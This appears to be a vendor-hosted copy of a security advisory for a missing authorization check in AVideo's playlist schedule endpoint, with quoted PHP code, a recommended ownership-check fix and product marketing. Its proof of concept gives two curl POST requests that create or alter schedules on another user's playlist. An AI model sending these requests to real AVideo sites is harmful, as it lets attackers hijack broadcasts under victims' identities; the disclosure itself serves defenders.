GHSA-2rm7-j397-3fqg
MEDIUMAVideo: Missing Authorization in Playlist Schedule Creation Allows Cross-User Broadcast Hijacking
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The plugin/PlayLists/View/Playlists_schedules/add.json.php endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.
Details
The endpoint at plugin/PlayLists/View/Playlists_schedules/add.json.php performs only a capability check, not an ownership check:
// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist
if (!User::canStream()) {
forbiddenPage(__("You cannot livestream"));
}
// Line 18-19: attacker-controlled playlists_id is used directly
$o = new Playlists_schedules(@$_POST['id']);
$o->setPlaylists_id($_POST['playlists_id']);
The Playlists_schedules::save() method (line 182) only validates that playlists_id is non-empty — no ownership check:
public function save()
{
if(empty($this->playlists_id)){
_error_log("Playlists_schedules::save playlists_id is empty");
return false;
}
// ...
return parent::save();
}
When the schedule triggers via plugin/PlayLists/run.php, the rebroadcast executes under the playlist owner's user ID, not the schedule creator's:
// run.php:55 — uses playlist owner's ID
$pl = new PlayList($ps->playlists_id);
$response = Rebroadcaster::rebroadcastVideo(
$ps->current_videos_id,
$pl->getUsers_id(), // <-- victim's user ID
Playlists_schedules::getPlayListScheduledIndex($value['id']),
$title
);
By contrast, all other playlist modification endpoints properly verify ownership via PlayLists::canManagePlaylist():
// PlayLists.php:55-68
static function canManagePlaylist($playlists_id)
{
if (!User::isLogged()) return false;
if (self::canManageAllPlaylists()) return true;
$pl = new PlayList($playlists_id);
if ($pl->getUsers_id() == User::getId()) return true;
return false;
}
This check is used in saveShowOnTV.json.php:43, playListToSerie.php:24, and getPlaylistButtons.php:34, but is entirely absent from add.json.php.
Additionally, the delete.json.php endpoint requires User::isAdmin() (line 11), making the disparity with add.json.php even clearer.
When providing an existing schedule id via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.
PoC
# Step 1: Authenticate as a normal user with streaming permission
# Obtain PHPSESSID via login
# Step 2: Create a broadcast schedule targeting another user's playlist
# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
-H 'Cookie: PHPSESSID=<attacker_session>' \
-d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d¶meters={}'
# Expected: {"error":false} — schedule created for victim's playlist
# The schedule will execute via run.php under the victim's user identity
# Step 3: Modify an existing schedule by providing its id
curl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \
-H 'Cookie: PHPSESSID=<attacker_session>' \
-d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d¶meters={}'
Impact
- Content hijacking: Attacker can force-broadcast content from any user's playlist, including private or paid content
- Stream disruption: Scheduled rebroadcast can interfere with a victim's ongoing live streams
- Identity abuse: Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast
- Resource consumption: Scheduled broadcasts consume the victim's server bandwidth allocation
- Schedule tampering: Existing schedules can be modified or redirected by any streaming user
Recommended Fix
Add ownership validation in add.json.php before saving:
// After line 16 (canStream check), add:
$playlists_id = intval($_POST['playlists_id']);
if (!PlayLists::canManagePlaylist($playlists_id)) {
forbiddenPage(__("You cannot manage this playlist"));
}
// When editing existing schedules, also verify ownership of the existing record:
if (!empty($_POST['id'])) {
$existing = new Playlists_schedules(intval($_POST['id']));
if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {
forbiddenPage(__("You cannot modify this schedule"));
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-2rm7-j397-3fqg yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2rm7-j397-3fqg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2rm7-j397-3fqg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2rm7-j397-3fqg in your dependencies?
O3 detects GHSA-2rm7-j397-3fqg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.